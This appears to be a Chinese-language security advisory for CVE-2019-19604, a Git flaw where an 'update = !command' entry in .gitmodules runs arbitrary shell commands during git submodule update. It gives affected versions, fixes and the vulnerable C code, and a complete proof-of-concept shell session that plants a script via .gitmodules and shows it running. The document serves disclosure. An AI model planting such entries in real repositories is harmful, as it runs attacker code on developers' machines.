git submodule update
操作可能导致执行.gitmodules
文件中定义的任意shell命令。
受影响的产品
- Git版本2.20.0至2.24.0
修复版本
- Git v2.24.1,v2.23.1,v2.22.2,v2.21.1,v2.20.2
披露时间表
- 2019-11-11 git-security邮件列表的初步报告
- 2019-12-10 Git v2.24.1,v2.23.1,v2.22.2,v2.21.1,v2.20.2发布
CVE编号
- CVE-2019-19604
细节
git-submodule 的手册页指出了子模块的以下配置选项:
以下更新过程仅通过submodule..update配置变量可用:
自定义命令使用单个参数(超级项目中记录的提交的sha1)的任意shell命令将被执行。当submodule..update设置为!command时,感叹号后的其余部分为自定义命令。
可以.gitmodules
在Git存储库中的文件中定义此配置值。但是,--init
使用该标志时,该设置将被覆盖。
该方法init_submodule
中builtin/submodule--helper.c
注意到了这一问题:
if (git_config_get_string(sb.buf, &upd) && sub->update_strategy.type != SM_UPDATE_UNSPECIFIED) { if (sub->update_strategy.type == SM_UPDATE_COMMAND) { fprintf(stderr, _("warning: command update mode suggested for submodule '%s'\n"), sub->name); upd = xstrdup("none"); } else
上面的代码将更新策略设置为none
内.git/config
包含子模块的存储库。
仅当在--init
没有submodule.
策略的情况下调用,git submodule update
且随后update
在内调用将策略设置为外部命令的后续调用时,该命令才会在特殊情况下执行.gitmodules
。
开发实例
首先,我们准备一个存储库:
joern@hostname ~/tmp $ mkdir example
joern@hostname ~/tmp $ cd example
joern@hostname ~/tmp/example $ git init .
Initialized empty Git repository in /home/joern/tmp/example/.git/
joern@hostname ~/tmp/example $ git submodule add https://gitlab.com/joernchen/xxeserve.git Cloning into '/home/joern/tmp/example/xxeserve'... remote: Enumerating objects: 34, done. remote: Counting objects: 100% (34/34), done. remote: Compressing objects: 100% (29/29), done. remote: Total 34 (delta 14), reused 0 (delta 0) Unpacking objects: 100% (34/34), done. joern@hostname ~/tmp/example $ git commit -m "first commit" [master (root-commit) 9ed9add] first commit 2 files changed, 4 insertions(+) create mode 100644 .gitmodules create mode 160000 xxeserve
到目前为止,关于存储库没有什么特别的:
joern@hostname ~/tmp/example $ cat .gitmodules
[submodule "xxeserve"]
path = xxeserve
url = https://gitlab.com/joernchen/xxeserve.git
接下来,克隆存储库:
joern@hostname ~/tmp $ git clone --recurse-submodules example test
Cloning into 'test'...
done.
Submodule 'xxeserve' (https://gitlab.com/joernchen/xxeserve.git) registered for path 'xxeserve'
Cloning into '/home/joern/tmp/test/xxeserve'... remote: Enumerating objects: 34, done. remote: Counting objects: 100% (34/34), done. remote: Compressing objects: 100% (29/29), done. remote: Total 34 (delta 14), reused 0 (delta 0) Submodule path 'xxeserve': checked out 'c4a859fb16e2c65a1708d1c0a404f339191fd8e9'
回到原始存储库,我们更改子模块并在中引入命令.gitmodules
:
joern@hostname ~/tmp/example $ echo -e '#!/bin/bash\x0aid>/tmp/poc.txt' > poc.sh
joern@hostname ~/tmp/example $ echo ' update = !../poc.sh' >> .gitmodules
joern@hostname ~/tmp/example $ chmod +x poc.sh
joern@hostname ~/tmp/example $ cd xxeserve
joern@hostname ~/tmp/example/xxeserve $ git checkout 0f5c204 Previous HEAD position was c4a859f Merge pull request #4 from mccabe615/master HEAD is now at 0f5c204 Update README.md joern@hostname ~/tmp/example/xxeserve $ cd .. joern@hostname ~/tmp/example $ git add . joern@hostname ~/tmp/example $ git commit -m 'second commit' [master ec3abce] second commit 3 files changed, 4 insertions(+), 1 deletion(-) create mode 100755 poc.sh
在克隆的存储库中,命令将在git pull
之后运行git submodule update
:
joern@hostname ~/tmp/test $ git pull
remote: Enumerating objects: 6, done.
remote: Counting objects: 100% (6/6), done.
remote: Compressing objects: 100% (3/3), done.
remote: Total 4 (delta 1), reused 0 (delta 0) Unpacking objects: 100% (4/4), done. From /home/joern/tmp/example + 113237f...ec3abce master -> origin/master (forced update) Updating 9ed9add..ec3abce Fast-forward .gitmodules | 1 + poc.sh | 2 ++ xxeserve | 2 +- 3 files changed, 4 insertions(+), 1 deletion(-) create mode 100755 poc.sh joern@hostname ~/tmp/test $ git submodule update Submodule path 'xxeserve': '../poc.sh 0f5c2043db22ff091b800cb6c61e015492ad0885' joern@hostname ~/tmp/test $ cat /tmp/poc.txt uid=1000(joern) gid=1000(joern) groups=1000(joern),3(sys),90(network),98(power),991(lp),998(wheel)
外部参考
- Git发布公告
- https://about.gitlab.com/blog/2019/12/10/critical-security-release-gitlab-12-5-4-released/
- https://gitlab.com/gitlab-com/gl-security/disclosures/blob/master/003_git_submodule/advisory.md